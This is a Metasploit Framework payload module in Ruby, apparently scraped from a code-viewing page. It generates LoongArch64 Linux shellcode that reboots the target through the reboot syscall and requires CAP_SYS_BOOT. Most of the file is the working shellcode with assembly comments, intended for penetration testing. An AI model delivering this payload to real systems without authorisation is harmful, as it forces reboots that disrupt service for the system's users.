Path: blob/master/modules/payloads/singles/linux/loongarch64/reboot.rb
27932 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 3278include Msf::Payload::Single9include Msf::Payload::Linux1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Linux Reboot',16'Description' => %q{17A very small shellcode for rebooting the system using18the reboot syscall. This payload is sometimes helpful19for testing purposes. Requires CAP_SYS_BOOT privileges.20},21'Author' => 'bcoles',22'License' => MSF_LICENSE,23'Platform' => 'linux',24'Arch' => ARCH_LOONGARCH64,25'References' => [26['URL', 'https://man7.org/linux/man-pages/man2/reboot.2.html'],27['URL', 'https://github.com/bcoles/shellcode/blob/main/loongarch64/reboot/reboot.s'],28]29)30)31end3233def generate(_opts = {})34shellcode = [350x15fdc3a4, # lu12i.w $a0, -4579360x03bab484, # ori $a0, $a0, 0xead370x14502425, # lu12i.w $a1, 164129380x03a5a4a5, # ori $a1, $a1, 0x969390x14024686, # lu12i.w $a2, 4660400x03959cc6, # ori $a2, $a2, 0x567410x0382380b, # li.w $a7, 0x8e420x002b0101, # syscall 0x10143].pack('V*')4445super.to_s + shellcode46end47end484950